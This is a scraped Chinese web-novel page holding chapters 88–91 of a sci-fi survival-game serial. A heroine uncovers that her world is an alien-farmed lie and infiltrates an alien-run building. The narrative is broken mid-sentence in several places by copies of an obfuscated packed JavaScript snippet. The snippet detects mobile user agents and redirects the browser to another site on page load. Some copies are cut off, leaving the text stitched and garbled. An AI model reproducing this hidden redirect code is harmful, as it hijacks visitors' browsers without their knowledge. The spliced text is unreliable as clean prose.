d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256283|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一听到这个词，第一时间想象出的总是具有各种特殊能力的超级人类。 “改造完的我们情绪会变得更加激动敏感，”组织者否决了林筱的猜测，“我们会更容易与人发生冲突，也更符合上面的要求。” 毕竟节目组的节目都是以更鲜明的情绪为佳。 林筱想，她当初的诗朗诵也算是误打误撞了。那些评委不能透过画面感知到她的真实情绪，而它们认识的选手都不敢和它们说谎，所以就以为她当时表达出了悲伤。 包括这场选拔的主题一样。 喜悦是个很宽泛的主题，很多表演形式都可以表现出这种情感，但连续的勾心斗角让选手很难真心实意地感到喜悦。 相反，痛苦是一种很容易达到的极端情绪。在选拔的刺激下，选手们会自然而然地随着野心选择极端的做法，这种做法迸发出更加激烈的情绪，虽然跑题，但也更得评委欢心。 这也是他们都只能得到两个通过的原因。 至于她前面那位，虽然也在学习之前那位选手的做法，但他之前已经把那么多选手淘汰，那种喜悦就算是受伤也完全压抑不住，这才是他获得三个通过的原因。 也就是说，他的伤完全是不必要的。 所以海选的时候，评委并没有真的体验这档节目。而从正式的选拔赛开始，他们就来了。 “商座一般什么时候开始开业？” 林筱的问题让组织者茫然了一会，但还是本能地回答：“从你们正是入住开始。” 那就对了。 从那时起，外星人才来到了园区内享受它们的加餐。 商座就是外星人的临时居住地。商座主人隐藏在黑暗中，每个外星人都可以是商座主人，因为无人知道它的长相。 所以选拔节目是快餐，工作人员是加工后的精致餐饮，整个园区就是食堂。 这也恰巧契合整个园区的布局：食堂占据最多数的建筑。 60号就是在加工的过程中出现意外，以至于只留下59号一个人。 “你们也进行了记忆清洗？”林筱怀疑。 不管是谈吐还是其他，林筱都感知不到她们记忆的缺失。如果是59号，还可以用手术未完全拉解释，但她们在园区那么久，不可能没有完成手术。 “人的记忆是复杂的整体。记忆可能被封锁，但只要找到了锚点，记忆就会逐渐恢复。”组织者复杂地看了眼林筱，“所以后来的人都会提前备好自己的锚点。” 那最开始的人呢？ 林筱突然明白了她那复杂的眼神是什么意思。 初代的锚点，是她与高低组合商量好的暗号。 等等，不对。 既然这里是上城区，那高低组合怎么知道那么多与园区有关的信息？总不能抛下的信息从上城区飘到了下城区？ “因为这个世界就是个谎言。”组织者扯出一个古怪的笑容，“上中下城区就是这个巨大谎言的衍生物，我们都是生活在谎言里的牵线木偶，我们的所有行为都是被引导下的笑话。” 林筱快速眨着眼消化这个信息。 怎么就从节目组是个谎言变成这个世界都是谎言了？ “我们的星球早就灭亡了。”她说出了最后一句话。 88. 第三个世界26 星球灭亡？ 突然从记忆清洗变成这么大的话题，林筱一时之间都没有反应过来。 即使她很清楚，既然系统都让这里变成了游戏，那么这个世界大概率就已经灭亡。 这从系统每次都想从她这里骗走积分的回放就可以猜得到。 但这不代表这个世界的原住民，换句话说，就是游戏里的NPC能够知道。这就像跨破了次元，游戏角色知道自己只是游戏角色一样。 “大家不都在这？”林筱含糊着回答。 她想知道这位组织者的真实想法。是歪打正着，还是确切地了解世界的真相？ 组织者定定地看着林筱：“我们换个安静的地方。” “琴姐！” 两道声音异口同声地表达出不赞同的想法。 是那位女鬼小姐和房屋的原主人。 和组织者不同，她们虽然允许林筱进入她们的领地，但她们并没有完全信任林筱，所以此刻她们看着林筱的眼神依旧充满警惕和不安。 但她们的阻拦无法左右组织者的想法：“你会对我想要告诉你的感兴趣的。” 说实话，林筱的确感兴趣。 而且，她看着警告般瞪了她一眼的房屋原主，轻快地应下：“好啊。” 组织者不愧是深深扎根在节目组的“老人”，带着林筱熟门熟路地左拐右弯，不过几个呼吸的时间就来到了另一个漆黑的小房间。 甚至比之前的杂物室还要陈旧，满鼻子都是腐朽的气息。 她不开口，林筱也不会先开口。 “你对我的话没有想法吗？”最后还是组织者先憋不住。 是真话，但这个真话可信度不高。 “我当然是相信你的啊。”林筱说着，自己还笑了一下。 这个世界是个谎言，那当然是真的。都是同一物种，那么夸张的等级制度必然建立在谎言和强权之下才有可能稳定。 星球灭亡当然也是真的，外星生物又不是慈善家，一旦得到自己想要的，剩下的烂摊子只会让原生星球的生命自己承担，走向灭亡那是迟早的事。 所以相信组织者，自然也是真的，她可没有说一句谎言。 林筱的话完全将组织者原本打算说出的话噎了回去。 既然寻常的路走不通，那就只能将一切摊开说： “我说得都是真的，但这些真实或许和你想象的并不一样。” “这个世界是个谎言，那是因为，”她停顿了一下，“我们的世界在几千年前就已经险些灭亡。” “在外星人出现之前，我们也是遵从历史发展规律。但在我们即将跨出本星系之前，我们就遇到了那群外星人。反抗的人都被屠戮殆尽，只剩下种子库的细胞们。所以我们这些后来的人都是被它们培育出来的玩物，按照它们希望的方式生长，就像大棚里的作物一样。 “而所谓的上中下城区，也只是它们模拟人性的试验田而已。” 这和林筱猜想的近似。 “而之所以说灭亡，那就和你有关了。” 她？ 林筱第一次感到疑惑。 除了被这个系统选中而不得不穿行在各个世界，在此之前，林筱认为自己只是一个再普通不过的寻常人而已。 她没有来过这个世界，也不可能来过这个世界，更不会影响这个世界的发展。 “我不是说是你做的，而是说我发现我们的星球灭亡这件事和你有关。”组织者摊了摊手，“但从广义上说，也和你有关系。” 这些话说得神神叨叨，但林筱却觉得自己从未与真相那么接近过。 她死死地盯着组织者，一字一顿：“玩，家？” 在林筱的目光中，她扬起嘴角：“不愧是我看中的人。” 组织者是玩家？！ 这件事远比什么外星人要重要的多。 如果她之前的话没有骗她的话，那就说明这个组织者之前就是这个世界的原住民，她也曾经被系统选中。 所以，这个世界到底是系统模拟出来的虚假世界，还是…… “你应该能发现这个世界的不同。”组织者继续说道。 林筱点头。 这个世界与其他世界最大的不同就在于：他们知道玩家的存在。 但之前，她以为是因为外星人的存在。 系统对于他们那种科技水平的世界来说可能就是传说中的存在，但可能在河外文明中，那就是一种常用智能辅助设备。 但组织者的存在本身又让她开始怀疑自己的想法。 “这个事情本身并不复杂。” 不复杂，吗？ 组织者：“我是玩家和节目组知道玩家这件事并不冲突，甚至可以说是相辅相成。正是因为节目组知道玩家的存在，我才会成为玩家。” 林筱似乎摸到点思路，又似乎没有。 “我出生在这个星球,”组织者的目光有些遥远，“我所知道的，就是下城区的人天生就低人一等。他们不配吃干净的食物，每天要做最劳累的活，甚至不能有超过四小时的休息。 “所以的当系统找上我的时候，我很高兴。 “虽然很危险，但我可以喝上干净的水，闻到清新的空气，甚至能吃饱。不就是死亡，在这些面前，我甚至觉得我的死亡太廉价。 “我不是一个有天赋的玩家，我很少能完成隐藏任务，但总能得到NPC的礼物。靠着这礼物，我勉强达到了游戏的要求，可以脱离游戏。 “其实我是不愿意离开的，但离开是强制的，我不得不再次回到我不愿意面对的家乡。 “这里什么都没有变化，甚至距离我离开的时候也就差了眨眼的功夫。所以我的亲朋好友们都不能理解我，不理解我怎么突然就厌恶起这里的一切。” 她顿了一下：“除了两个我还小的妹妹。” “没过几天，节目组的邀请单就洒满了下城区，我选择参加。” “我想，我见识过更多的世界，不过是一场选秀而已，还会有人胜过我？ “但事实上，我也只是侥幸逃生，能够活到最后而已。我所倚靠的，依旧是游戏里那些友人赠送我的道具。 “甚至，我还看见了熟悉的人，一个不该出现在这里的玩家。” 玩家出现在她的世界，这本身就是个恐怖故事。 玩家是游戏里的玩家，有了游戏，才会有玩家这个名号。这就代表她的世界也只是游戏的一个副本，她根本没有离开游戏，系统欺骗了她。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301031|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是你想的那样。”组织者敏锐地察觉到林筱的想法，“这的确是我的世界…… “也的确是游戏的。” 林筱不解地看着她。 “你应该能感觉到游戏的目的吧。” 把人放在即将灭亡的世界折腾，但更可能是为了收集有用的人去拯救它想要拯救的世界，所以才特意制造这个游戏选拔人才。 “它是为拯救世界。” 组织者说出了林筱完全想不出的答案。 “我可以确定，当我刚回到我的世界的时候，这就是我诞生的地方。但后来，我们计划失败，我们的世界才成为游戏的一部分。”她叹一口气，“我也被清洗去曾经的记忆，直到你提醒我。” 曾经，她愿意为这个世界拼命的原因之一也有她的两个妹妹。她已经见过美好，可她们却从未见过光明。 只可惜她失败了，她们也失去了见到光明的机会。 “还有一种可能，我的世界一直都属于游戏，所以我从未离开过。”组织者还有心情开玩笑。 “所以你的意思是，这个游戏会从即将灭亡的世界中挑选玩家，培养他们应对危机的能力，再将他们送回到自己的世界和其他玩家拯救自己的世界？” 友善得仿佛她认识了一个假的系统。 但意外的是，她在心里排编系统，系统居然没有惩罚她。 不止，自从来到这个世界之后，系统就一直很安静。除了必要的通知外，它几乎都没有出现，甚至没有用促销的方式从她手中骗取积分。 虽然这个世界都是谎言，但外星人手中有克制系统的方法却不会有假。就算这次游戏失败，只要能获得克制系统的办法，她的失败也会是值得的。 看来系统最大的败笔，就是把她送进了这个游戏世界。 “你怀疑我在骗你？”组织者不解地问道，“这对我有什么好处吗？” 有好处，但这个好处是基于对方完全是站在系统那个立场上而言。组织者没理由那么依赖游戏，所以这个猜测站不住脚。 林筱也不是没有怀疑过对方可能是从其他玩家口中拼凑出这些信息来诈她，但就像她刚才说的那样，有什么好处吗？ 林筱也没有完全信她的话。 不是因为她怀疑对方说谎，而是游戏和系统也是会变的。在他们那个时代，游戏可以说是宽进宽出，而林筱认识的那个系统，他们可都是宽进严出。 “我只是没想到系统居然还是个好人。” “如果不是我的亲身经历，我也不会信的。” 不管组织者是不是真的信了林筱没有怀疑，林筱都当她信了。 “但那么多玩家，你怎么就选中了我？” “因为你不是叛世者，因为，你是我目前看到的最有可能走到终点的人。”组织者一脸严肃，“我觉得你可以终结这一切。” “哪怕是让这里的其他人都去死？” “对！” 不过是死亡，他们已经经历了这样的轮回一遍又一遍，从来不缺这一遍。但如果林筱能够走到他们从未走到的重点，那么他们就可以迎来难得的安息，哪怕只有短短几十年。 死亡不过是重点，但他们需要的从来都只是希望。 “好。” 89. 第三个世界27 姜时宴很忙。 虽然，这个忙有部分是他自找的。 他和林筱借用道具交流了大致的计划之后，他的房门就被敲响了。门外是个穿着工作服的洒扫侍从，一边替他更换了地毯，一边偷偷塞给他一张纸条。 他的房间也少不了监控，指望这个业务并不熟练的清洁工只会增加他暴露的可能，所以传递纸条的动作还是他替那个工作人员遮掩的。 果然是林筱的消息。 虽然她自愿选择了考核失败，但这未尝不是一个更正确的选择。只有打入了这个反叛组织的内部，他们才能得到更多的消息。 才能更好地解决这个“神”。 姜时宴处理干净纸条，流水冲走一切不自然的痕迹，只留下最原始的纯洁。 他前往了餐厅。 绿发的叛世者玩家百无聊赖地蹲在餐桌旁，焦躁地玩弄着手中的纸团。 毕竟是老玩家，解决一个经纪人接管对方的艺人对她来说没有难度，唯一令她困扰的就是不该被淘汰的林筱。 浪费她的道具积分不说，她甚至不能理解林筱在想什么！总不能是林筱提前感应到她的存在，这才匆匆避战吧？ 看到姜时宴走了过来，她懒洋洋地挥了挥手：“晚上好。” “我过得还不错，你呢？” “我？”她迷惑地抬起头，“你就一点都不觉得遗憾吗？” 千辛万苦找到林筱，成为她的经纪人，结果一切都作废，这个她不熟悉的叛世者居然有那么强大的心态吗？ “是有一点。”姜时宴坦诚道，他的确是期待过林筱任他摆布的场景，但，“不过我找到了别的挽救损失的办法。” 林筱身上不仅有巨额积分，还可以兑换其他人的悬赏或者承诺，绿发玩家不觉得这里还有什么能比林筱更值钱的东西。 但她还是好奇地问了一句：“什么办法？” “以物易物？” 姜时宴的语气上扬，听上去是不确定的疑惑，但肢体却很直白地展示出他的意图：控制住面前的这个人。 老玩家虽然经常靠着道具摸鱼开挂，但之前几年也不是白混的，直觉先于理智促使她的身体避开姜时宴的突然袭击，向后跳跃了一大步。 指望食堂里的其他人帮助她是不可能的，所以绿发玩家只能独自警惕这个突然发疯的人：“你要做什么？” “我不是回答了吗？” 一次失误在姜时宴的预料之中，毕竟这些玩家总会有些奇奇怪怪的身法和道具在。但他绝不允许同样的失误出现三次。 他手中的动作没有收回，反而顺势变化，再次向着绿发玩家擒了过去。 这一次，即使有了准备，绿发玩家依旧躲得很狼狈。 回答？他回答了什么？ 她隐约触及了那个答案，可没等她继续思考，她就已经受制于姜时宴手中。 “你想要什么我都可以给你，积分，道具？”她试探着开口，揣测姜时宴突然翻脸的原因，“一切都是可以商量的。你知道的，系统对我们总是有优待的，一次死亡不代表什么，我们没必要浪费积分在这里。” “我不知道什么是系统。”姜时宴没有松开她，“他是你们的首领吗？” “你什么意思？！”绿发叛世者神色震惊。 他们之前明明谈得那么好，怎么突然就否决了一切？ “之前是我骗你的。”姜时宴温和地安慰她，“不过我演技还行，所以你也不用自责。” 骗她的？姜时宴是这个世界的土著？ 不可能！ 她摇了摇头，再次在心里肯定了自己的想法:“如果你不是玩家，你怎么会对新手关的传说感兴趣？” 这倒是个遗憾，只可惜，人生在世，哪有那么多两全。 “如果不是这个噱头，我又怎么吸引你的注意？” 绿发玩家其实依旧没有完全相信，但姜时宴的态度太坚定，再加上她回忆他们的对话，的确是姜时宴诱导她说话更多，不得不选择退让。 “你的目的是为了出道吧？既然你知道我是玩家，那你应该知道我们玩家有一些神奇的技能。只要你放过我，我们可以继续合作，我帮你顺利出道。” 姜时宴深深地看着她，摇头：“不行。” 她自觉自己已经给出了很好的条件，没理由姜时宴会拒绝：“你怕我答应后反悔？我们可以签订契约，我说到做到。” 姜时宴还是摇头。 这个条件对于一般的经纪人而言或许会心动，但他不需要。 而且，这些玩家似乎都不太聪明。 其实他之前的确想和这个叛世者合作，所以暴露出他认识林筱的这个信息来。在所有人呼叫编号的园区内，这其实就已经是异类的标志。不过这也不是决定性的线索，园区不排斥双方互换信息，就算这个绿头发的想要凭借这点反咬他也没用。 这么一对比，就显得林筱异类。她看上去不像是那个所谓“系统”会选择的人。 但这些都是之后才需要考虑的事情，姜时宴按响餐厅的举报：“我抓到了一名玩家！” 身穿纯白制服的人不知道从哪里冒出来，他们迅速带走绿发的叛世者，也带走了姜时宴。没人知道他们离开后发生了什么，但其他经纪人都能看到的是，姜时宴回来后就和他们的待遇不一样了。 这也是他们会狂热地寻找玩家的原因。 虽然上交玩家不会让他们直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340299|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋级，但其他的好处却少不了他们的。 他们虽然嫉妒姜时宴的好运气，但也不得不承认他的实力。在这样的前提下，姜时宴之前提出的计划得以更快地施展起来。 说是计划，其实也算是阳谋。 临时经纪人们协助选手以获得他们的信任，再在选手们松懈的时候合作发布假任务，谋求一网打尽。信不信任取决于选手，但不管他们是否相信，他们得到的也只有假任务。 这至少对于经纪人来说没有坏处。 不过现在也没剩下多少人了。 第二场选拔赛结束，剩下的选手就只有三十人，经纪人只会比这个人数还少。其余选手大部分都只能选择回家，至于极少部分人能被留下来成为工作人员。 这在无形之中也加剧了选手与选手之间，工作人员与工作人员之间的竞争。 因为这也意味着，最终选拔即将来临。 和相对悠闲的姜时宴比，叶曳的日子就要水深火热很多。 留下来参加第三次选拔的人已经没剩下多少，再根据评委的评价分出优良劣三等，按照等级安排宿舍条件。 优等住在宿舍楼的最高层，据说是很大面积的大平层。良等住在下面几层，也是有着一室两厅一卫的单人套房。劣等就保持原有的宿舍不变，依旧是两人一间。 叶曳在奖励的加持下顺利入住良等宿舍。 但住了，也不代表安全。 园区内允许选手之间相互挑战，且被挑战的人必须完成一次挑战后才有权利拒绝。这也代表这些有着优渥居住环境的选手总会受到其他选手的骚扰。 叶曳因为之前出的风头总在被挑战人选之中，即使每次都能赢也不能让她开心起来。她最怀念的，还是和林筱在一起的时候。只有林筱愿意陪她演，其他人都是一副恨不得立马解决她的模样。 这场游戏到现在就变得索然无味，和她预期的完全不一样。 而且， 叶曳收紧悬挂在门前的绳索，不出意外地割伤了探进来的手。 都睡不好觉了。 她的现经纪人，林筱的前经纪人怎么说的？他是不是提到要她小心商座？ 叶曳无趣地蹲在地上，看着外面的清洁工麻木且熟练地拖干净地面。 她在商座是属于无主权的物品，会被商座里的那些机器人无视。所以，如果她去调查商座也不会引起重视吧？ 她知道林筱转达的意思是想把她送进出道位，但她的追求可不在这里。比起出道位，她更想知道这个园区的秘密。 距离第三次选拔还有三天，她还有机会。 叶曳向食堂订了一份晚餐。 * “叶曳出事了。” 90. 第三个世界28 叶曳的最终定位是在商座附近消失的。 第二次选拔与第三次选拔之间的活动是积分赛。节目组每天会给晋级的选手布置若干积分不同的任务，选手们将按照最终积分总数选择出场顺序。 在上一次选拔中，选手们就已经发现出场顺序的重要性了。前面几个出场的往往都是试探评委喜好的垫脚石，想要顺利出道，位置尤其重要。 所以这些选手们内部竞争的剧烈程度远超姜时宴的想象。 但这也正符合他们这些经纪人的需求。所以姜时宴带着一群经纪人忙得不可开交，也就忽视了叶曳的动向。 毕竟任务地点中包括商座这一位置是个再寻常不过的事情。 直到第二天，叶曳的定位也没有变化。 园区内没有宵禁的规矩，但相对来说，宿舍是个更安全的区域。为了保护这些预备役苗子，除去每日挑战，节目组要求宿舍内是个绝对安全的区域。所以和其他人结成搭子混过每日挑战苟活也是选手中不太常见的混法。 但夜不归宿就是一个反常理的举动。 姜时宴马上意识到了不对，立即联系叶曳，但始终无法联系上对方。 除了第一次见面，经纪人无法直接与选手接触。这是为了防止经纪人下手，但现在也阻碍了姜时宴的探查。 这件事就只能交给更空闲的林筱了。 林筱最近真的很悠闲。 作为一个在园区内没有身份的人，她自由活动的范围只能在反叛组织的掌控区内。因为最终计划正式开始执行，反叛组织也很忙，林筱识趣地没有麻烦他们，只是在屋内度过这些时间。 杂货铺偏僻，但也给了林筱更多思考的时间。 这样的日子确实安逸，但她也不介意出去一趟。 再次顺着管道来到地下通道，只需要及时避开工作人员，林筱的人身安全还是很有保障的。毕竟现在监控组基本都是琴姐的人。 庆幸的是，在外面游荡的工作人员也不多。选手们在最后的冲刺阶段，工作人员也一样，大家留在这里的执念都是出道位。 所以没有引人注意的，林筱来到商座附近。 商座的空间布局和其他建筑都是不一样的。它的底部只有外围与庞大的地下通道相连，内部却完全独立。所以林筱想进去，正规途径只有门童看守的大门。 但这只是正规途径。 负责监控已经都是自己人，那可以供林筱发挥的余地就很大。 姜时宴那边安排几个选手吸引门童的注意力，琴姐也安排了几个工作人员随时接应，而林筱看着表面特意做得粗糙的外立面，深吸一口气，攀了上去。 这个过程比林筱想象的困难，但幸运的是，一切都没有差错。 这个路径是他们协商后确定的，二楼的歇脚点就是洗手间，已经被琴姐的人特意布置成维修中的状态。 二楼和一楼的格局差不多，只不过这里更多的是为工作人员服务。由于工作人员本身就没有自己的主权，所以他们交易的就是自己，像健康和寿命这些。 琴姐没有来过，但她底下的人总有扛不住来交易的。除了出道位的限制，其实工作人员内部的选拔也时时在发生，一旦疏忽就容易性命不保。 二楼没有什么好看的，他们的重点在三楼，也就是商座的办公层。 不管是选手还是工作人员都是不被允许进入三楼的，所以琴姐那边也不能提供更多的资料。他们只能根据灯光和二楼的格局来假定几个安全的房间供林筱选择， 爬到三楼从来都不是一个难题。林筱在墙外维持着身体的平衡，从口袋中取出琴姐给她的撬窗神器。 虽然这些外星人在科技领域占据断层优势，但它们对建筑这种简单重复劳动不感兴趣，所以商座基本上都是这个星球本土居民设计建造的。既然由这里的人设计，就避免不了这里常见的缺陷。 窗户就是他们留下的漏洞。 可任林筱再怎么小心，她还是在最后的时刻发出了一声异动。 林筱没有立即进去，隔着缝隙默念数字聆听。 没有声音。 要么没人，要么埋伏，但一直在外面等待绝对是最下乘的选择。 林筱翻身进窗，悄无声息地潜藏进阴影之内。 他们的运气不错，这里虽然不是个空房间，但现在却没人。从这一排排的书架来看，不是图书馆就是档案室。 书架是很好的遮挡物。 林筱没有开灯，重新将窗户掩上，凭借窗外微弱的光线看向书架上的东西。 是档案。 不过看上面灰尘的厚度，这里也是不受重视的档案室。 在寻找叶曳和搜集资料之间，林筱犹豫了下，还是决定先去确定外面的环境。 但没走几步，一个文件夹侧面的标题就吸引了她的注意力。 《诺古星养殖计划（第一版）》。 这不是这颗星球的名字，所以只能是那些外星人的来处。 第一版是最初的计划，也会是最贴近外星人本身习性的版本。 林筱最终还是没能抵挡诱惑，从书架上把这个文件夹拿了下来。 不幸的是，上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393449|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的文字林筱一个也看不懂，但幸运的是，这份文件有插图。 她只能看图猜话。 黑暗，光，心脏，宇宙。 这就像被层层加密的信报，只有找到合适的密码本才能读懂它。然而林筱却没有这个密码本。 搜集资料的事情只能暂时搁置，她将书柜恢复原状，甚至将灰尘重新布置了一番，让它看不出刚有人使用过的痕迹。 林筱来到门口，按下门把手。 依旧没有声音。 这个房间的位置是他们精心挑选过的，虽然偏僻，但不至于距离核心区十万八千里。理论上，只要有活物在走动，林筱总能听到一点动静。 但现实是，林筱什么也没听到。 不能说害怕，只能说诡异。 林筱在空荡的走廊穿行，没有看见一个人。 三楼的空间和二楼一样，只不过被隔成一个个房间。这些房间门都被关着，传不出一点声音。不仅如此，这些房门很新，没有使用过几次的新。走廊则是环形的一长条，上面铺着吸光的黑色毛毯，即使林筱在上面奔跑也发不出噪音。 那就只剩下一个突破口：洗手间。 洗手间算是三楼唯一有光亮的地方，但在这漆黑的空间内，反而像是凶兽张口血盆大口的陷阱。 林筱没有犹豫地踏了进去。 但当林筱真的进去时，却也只能看见一个再寻常不过的洗手间。唯一的特殊就只是里面的工具新得过分。 难不成是她多疑了，这个特殊单纯是因为种族习惯不同？那叶曳会在那些房间之中吗？ 林筱不死心地进入隔间翻找，但里面的设施和她们在宿舍的毫无区别。 直到林筱在天花板摸到了一处错位的板材。 林筱沉默了片刻。 她以为这个喜好只在反叛组织内盛行，没想到外星人也好这口。 明明是园区内地位最高的存在，行事却鬼鬼祟祟。 但吐槽也不妨碍林筱干活。 她利落地撬起那块板，抓住上缘卷腹腾空翻越，将身体完全藏入上面的空间。 从上方空间的布置来说，主人姿态和做贼姿态完全不同。这片空间格外宽敞，是林筱直身站立行走都可以的高度，周围贴上的砖块也都雕刻着精美的花纹，只是看多了让人头晕。 但这里也只是过渡站。 林筱看着头顶上方的通道，与人工制造完全不同的清新气流从上而下扩散，独属于日光的刺眼让林筱不受控制地流出泪来。 他们苦苦寻找的出口，这些外星人就独占一个。 91. 第三个世界29 通道是由阶梯组成。 阶梯呈灰黄色，分辨不出材质，一眼看去有着坚硬而粗糙的古朴美。阶梯的两旁矗立着同样材质的柱子，细长的阴影斜斜地照在台阶上。 是个躲藏的好位置。 除了这两样，通道内就再也没有其他东西。 这也就代表着林筱的躲藏余地很小。 但林筱不可能放弃这次难得的机会。更何况她有预感，她一定会在这次尝试中获得巨大的收益。 所以也不需要犹豫。 在寻找到合适的切入口后，林筱就开始这场追逐阴影的游戏。 但阶梯远比她想象的还要多。她之前只以为诺古星人在商座的上方建了一个类似上城区的空中花园，但这个高度已经远远超过人类的适居高度。 更像是直达星外。 到了第一百多阶的时候，林筱已经能够俯视园区。 也不知道阶梯两侧使用的是什么材质，她能清晰地看到园区内的花草树木、活动的人，但她也可以很肯定，在园区内时她根本没发现空中存在异样。 再往上几百步，林筱看见了上城区的模样。 即使杂志和选手、工作人员将它吹嘘得多么天花乱坠，但在林筱眼中，那也只是更科技一点的普通城市。街上的行人来来往往，有背着书包的，也有脚步匆匆满面风尘的，都是再寻常不过的普通人类，在为着自己的生活而奔波。 林筱没有看见和他们节目相关的任何资讯。 如果按照节目组当初宣传的那样，上城区不该一点和他们相关的营销都没有。除非，这个节目本身就是骗人的。 虽然早有预料，但在被证实的那一刻，林筱还是为中、下城区的居民不甘。 他们的人生，他们一生都在渴望并努力的东西，也只是诺古星人一时兴起的玩乐而已。 但林筱也没空停留伤怀。当夜色降临，光影发生变化，她就很难像现在这样藏好自己。 随着林筱越走越高，上城区渐渐化为一点黑影，灰黑色的大门也越发明显。 那是一座完美符合人们对未来星际宇宙舰艇想象的庞然大物，甚至林筱眼前大开的舰门也只是其中一道侧门而已。 舰艇外没有生物，但喧嚣声从舰艇内飘往通道，逐渐消散在空气中。 这是林筱需要面对的第二道难关。 但更令林筱惊讶的是，系统居然没有趁机兜售道具，在这个最完美的时机收割她的积分。 是不想，还是不能？ “系统。”林筱在心中默念。 意料之外，也在意料之中，系统没有回应。 看来她的猜测是对的，这里的确有限制系统的东西。而这也将是她在这局游戏中最大的收获。 但比起不知道什么时候才能解决的系统，眼前的难题才更需要解决。 就算诺古星人对自己的防护装置自信，通道内没有安装设备监控也已经是极限，不可能不在舰门上做手脚。 所以最好的办法就是把门内的人引出来，再浑水摸鱼，藏进人群之中。 但这个方法的前提是，里面真的都是人。 所以这是一次关于生死的赌博。 林筱取出藏在衣服内的小道具，组装成简易的爆破装置。 她既然是来商座找叶曳的，就不可能什么都不准备。反叛组织虽然组织结构松散，但聚集的也都是中下城区的佼佼者，林筱也能从他们身上学到不少技能。 这就是其中之一。 他们都擅长把寻常的事物改装成有杀伤性的武器。 东西做完，林筱换了个位置，以便更好地融入凑热闹的人群中。 延时装置启动，舰门外漆面飞出一小块，警报声也瞬间响彻整个通道。 林筱没有动。 先出来的是机器人，人类躲藏在它们身后好奇地探着头。 下一刻，火花飞溅，简易的烟花在上空升起。 林筱不动声色地藏进凑热闹的人群中。 危险可以吸引注意，却无法唤来人群。所以林筱从一开始就不是冲着攻击舰艇的目标去的，只是不知道最开始出现的机器人有没有发现她。 “又是哪个愣头青闯出的祸？”一旁的人拍了拍林筱的肩，“我们第一美女可不是那么容易被讨好的。” 林筱不是自来熟的人，但她不讨厌，甚至有点喜欢：“可不是。” 对方看到林筱转过头来，眼中闪过一丝惊艳：“你也不错啊！虽然排不上前几，但追求者也不少吧。” 那是一个二十岁左右的女孩，打扮和园区内没有太大区别，所以两个地方的衣服来源大概都是同一个工厂。 但不同的是，她的眼中满是没有经历过磋磨的天真。 “我对他们都不感兴趣。”林筱耸了耸肩，悄悄关注着对方的表情。 没有警惕和疑惑，她猜对了。 “那群一点都不懂女孩子喜好的家伙，就该被这样对待！”对方深有同感地点了点头，伸出手，“我是101号，你是几号？” 美好的滤镜一下子破碎。 起初看到101号，林筱还以为诺古星人在很好地养着他们。但如果真的如此，这些人就不该只有编号，而没有专属他们的姓名。 林筱不敢编。 101号，这个编号很前面。在弄明白编号的规则之前，现在她的一切谎言都可能成为揭露她身份的证据。 “我们的主人公没出现！” 林筱选择回避对话，用另一个话题转移对方的注意力。 “哎，是哦！”101号果然被转移了转移力，“不过也正常，每天都有人向31号示好，但31号很少理会他们。” 这位第一美女是31号。 联系到101号对外貌的重视，林筱很难不怀疑这个编号与他们的外貌相关。 诺古星人果然还是对自己的地盘太放心。他们只是让那几个机器人简单检查了一下，甚至没有寻找那个放炮的人就结束了警戒。 但这样也好，方便了她行动。于是林筱顺着人流就来到了居住区。 但到了居住区，反而看不见机器人的踪影，所有的劳作都是由人类自己完成的。 难不成，这还是个崇尚自然的外星种族？ “要不要来我家？”一起回来的101号热情邀请。 林筱自然选择同意，只不过她这一路都不走寻常路，引得101号看她的眼神都变得有些古怪。 这也不能怪林筱。 她也是进入居住区后才发现，这里的监控比起园区有过之而无不及。和这里相比，园区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 